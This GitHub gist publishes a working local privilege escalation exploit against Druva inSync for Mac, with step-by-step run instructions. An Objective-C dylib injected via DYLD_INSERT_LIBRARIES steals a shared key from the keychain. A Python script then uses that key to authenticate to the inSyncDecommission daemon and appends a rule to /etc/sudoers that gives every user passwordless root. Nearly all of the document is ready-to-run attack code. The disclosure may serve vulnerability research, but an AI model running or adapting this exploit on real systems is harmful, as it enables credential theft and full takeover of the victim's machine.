Skip to content

Instantly share code, notes, and snippets.

@imhotepisinvisible
Created July 11, 2022 00:15
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save imhotepisinvisible/ce51d396d319a3f10eeed9de40f97895 to your computer and use it in GitHub Desktop.
Save imhotepisinvisible/ce51d396d319a3f10eeed9de40f97895 to your computer and use it in GitHub Desktop.
Druva inSync for Mac Local Privilege Escalation via inSyncDecommission

Local Privilege Escalation via inSyncDecommission

To run:

  1. If the exploit.dylib file does not work on the version of macOS, recompile it with gcc -dynamiclib exploit.m -o exploit.dylib -framework Foundation -framework Security
  2. Run python3 pwn_decommission.py.
  3. Once the exploit has completed successfully, /etc/sudoers will have an additional entry in it allowing passwordless sudo for any application in the system
// $ gcc -dynamiclib exploit.m -o exploit.dylib -framework Foundation -framework Security
#import <Foundation/Foundation.h>
__attribute__((constructor)) static void pwn(int argc, const char **argv) {
NSLog(@"[+] Dylib injected");
OSStatus res;
CFTypeRef entryRef;
CFStringRef keyAccount = CFSTR("INSYNC_SHARED_KEY (INSYNC_SHARED_ACCOUNT)");
CFMutableDictionaryRef attrDict = CFDictionaryCreateMutable(NULL, 4, &kCFTypeDictionaryKeyCallBacks, NULL);
CFDictionaryAddValue(attrDict, kSecAttrAccount, keyAccount);
CFDictionaryAddValue(attrDict, kSecClass, kSecClassGenericPassword);
CFDictionaryAddValue(attrDict, kSecReturnData, kCFBooleanTrue);
res = SecItemCopyMatching(attrDict, (CFTypeRef*)&entryRef);
if (res == errSecSuccess) {
NSData *resultData = (__bridge NSData *)entryRef;
NSString *entry = [[NSString alloc] initWithData: resultData encoding: NSUTF8StringEncoding];
NSLog(@"[+] Secret stolen: %@", entry);
} else {
NSLog(@"[+] FAIL");
}
exit(0);
}
#!/usr/bin/env python3
import os
import subprocess
import socket
import marshal
import zlib
def build_post(data):
message = b"POST /api HTTP/1.1\r\n"
message += b"Host: 127.0.0.1\r\n"
message += b"Content-Length: " + str(len(data)).encode() + b"\r\n"
message += b"X-Drv-Encoding: 1\r\n"
message += b"\r\n"
message += data
return message
def recvall(sock):
BUFF_SIZE = 4096
data = b''
while True:
part = sock.recv(BUFF_SIZE)
data += part
if len(part) < BUFF_SIZE:
# either 0 or end of data
break
return data
def send_rpc_request(sock, req_obj):
marsh = marshal.dumps(req_obj, 2)
post_data = zlib.compress(marsh, level=0)
message = build_post(post_data)
try:
sock.send(message)
resp = recvall(sock)
if resp is None:
print("Did not receive a response from server.")
magic = resp.index(b'\r\n\r\n')
return marshal.loads(zlib.decompress(resp[magic+4:]))
except Exception as e:
print("Error with request:")
print(e)
def daemon_authenticate(sock, key):
daemon_auth = {
'Requests': [
{
'Id': 1,
'Method': 'daemon.authenticate',
'KeywordArguments': {},
'Arguments': (key,),
}
]
}
return send_rpc_request(sock, daemon_auth)
def daemon_read(sock, filepath, offset, count, id):
daemon_read = {
'Requests': [
{
'Id': 2,
'Method': 'daemon.read',
'KeywordArguments': {},
'Arguments': (filepath, offset, count, id),
}
]
}
return send_rpc_request(sock, daemon_read)
def daemon_write(sock, filepath, buf, offset):
daemon_write = {
'Requests': [
{
'Id': 3,
'Method': 'daemon.write',
'KeywordArguments': {},
'Arguments': (filepath, buf, offset,),
}
]
}
return send_rpc_request(sock, daemon_write)
cwd = os.getcwd()
print("Grabbing token from keychain")
p = subprocess.Popen('/Applications/Druva inSync.app/Contents/MacOS/inSync', stderr=subprocess.PIPE, env=dict(os.environ, DYLD_INSERT_LIBRARIES=cwd + '/exploit.dylib'))
resp = p.stderr.read()
print(resp)
secret_index = resp.index(b'Secret stolen:')
key = resp[secret_index+15:-1]
print('INSYNC_SHARED_KEY=' + key.decode())
print("Running exploit")
# inSyncDecommission listens on TCP 6059
ip = '127.0.0.1'
port = '6059'
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((ip, int(port)))
resp = daemon_authenticate(s, key)
print(resp)
resp = daemon_read(s, b'/etc/sudoers', 0, 9999, 9999) #/etc/sudoers
print(resp)
file_len = len(resp['Responses'][0]['ReturnValue'])
resp = daemon_write(s, b'/etc/sudoers', b'\nALL ALL=(ALL) NOPASSWD: ALL', file_len)
print(resp)
resp = daemon_read(s, b'/etc/sudoers', 0, 9999, 9999)
print(resp)
s.close()
print("DONE")
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment